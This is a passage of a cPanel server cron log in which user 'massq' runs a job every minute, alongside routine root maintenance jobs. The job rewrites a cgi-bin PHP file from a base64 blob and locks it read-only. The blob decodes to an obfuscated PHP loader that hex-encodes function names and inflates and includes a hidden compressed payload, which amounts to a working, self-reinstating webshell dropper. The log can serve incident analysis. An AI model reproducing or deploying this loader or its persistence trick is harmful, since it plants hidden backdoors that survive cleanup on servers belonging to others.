CRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:39:01 server CROND[27297]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 05:40:01 server CROND[27427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:40:01 server CROND[27426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:40:01 server CROND[27428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:40:01 server CROND[27429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:41:01 server CROND[27580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:42:01 server CROND[27647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 05:42:01 server CROND[27648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:43:01 server CROND[27714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:44:01 server CROND[27780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:45:01 server CROND[27837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:45:01 server CROND[27838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:45:01 server CROND[27839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:46:01 server CROND[28051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:47:01 server CROND[28138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:48:01 server CROND[28198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:49:01 server CROND[28258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:50:01 server CROND[28318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:50:01 server CROND[28319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:50:01 server CROND[28321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:50:01 server CROND[28320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 05:50:01 server CROND[28326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:51:01 server CROND[28436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:52:01 server CROND[28604]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr  9 05:52:01 server CROND[28605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
